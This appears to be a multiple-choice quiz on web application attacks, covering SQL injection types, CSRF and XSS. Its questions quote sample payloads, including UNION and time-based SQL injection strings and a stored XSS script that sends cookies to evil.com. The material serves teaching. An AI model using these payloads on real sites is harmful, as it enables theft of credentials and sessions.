Web Application Attacks

A user enters ' OR 1=1-- in a login form, but no error is shown. Instead, the page behaves differently when true or false conditions are injected. There’s no visible database error message, but the attacker observes the application's response changing depending on the input. What type of

SQLi attack is this?

• Time-based Blind SQLi

• Boolean-based Blind SQLi

• Retrieving Hidden Data

• Subverting Application logic

An attacker submits the following input:
' UNION SELECT username, password FROM users--
This causes the application to display usernames and passwords from a different table.

What type of attack is this?

• Blind SQLi

• Union-based SQLi

• Error-based SQLi

• Boolean-based SQLi

An attacker sends the input:
1' OR IF(1=1, SLEEP(5), 0)--
The server takes a long time to respond, suggesting that the attacker can infer whether a condition is true or false based on the response delay.

What type of SQLi attack is this?

• Retrieving Hidden Data

• Boolean-based Blind SQLi

• Subverting Application logic

• Time-based Blind SQLi

Alice is logged into her bank account in one browser tab. She clicks a link on a malicious website in another tab. Without her knowledge, a request is sent to https://bank.com/transfer?to=attacker&amount=1000, and the money is transferred.

What type of attack is this?

• Cross-site Scripting

• Cross-site Request Forgery

• SQL Injection

• Session Hijacking

A user comments on a blog post by entering the following code:

<script>document.location='http://evil.com/steal?cookie=' + document.cookie</script>

Every time someone views the comment, their browser executes the script and sends their cookie to the attacker’s server.

What type of attack is this?

• Reflected XSS

• Stored XSS

• DOM-Based XSS

• Blind SQLi

A search form on an e-commerce website allows users to search for products. The intended query is:

SELECT * FROM products WHERE category = 'electronics' AND released = 1;

An attacker modifies the URL to: https://example.com/products?category=electronics'--

What is the effect of this attack?

• Subverting application logic

• Retrieving hidden data

• Time delay

• Detailed error

What type of SQL Injection manipulates application logic to change how a query behaves?

• Subverting application logic SQLi

• Retrieving Hidden Data SQLi

• Blind SQLi

• Union based SQLi

Which SQLi attack enables the attacker to fetch data from multiple tables?

• Retrieving Hidden Data SQLi

• Subverting Application Logic SQLi

• Union based SQLi

• Blind SQLi

Which type of SQLi attack does not send the response to the attacker?

• Retrieving hidden data SQLi

• Subverting application logic SQLi

• Union based SQLi

• Blind SQLi

An attacker crafts the following malicious URL and sends it to a victim:

https://vulnerable.com/search?q=<script>alert('Hacked')</script>

When the victim clicks the link, the site immediately pops an alert box using the injected script.

What type of attack is this?

• Stored XSS

• Reflected XSS

• DOM-based XSS

• Persistent XSS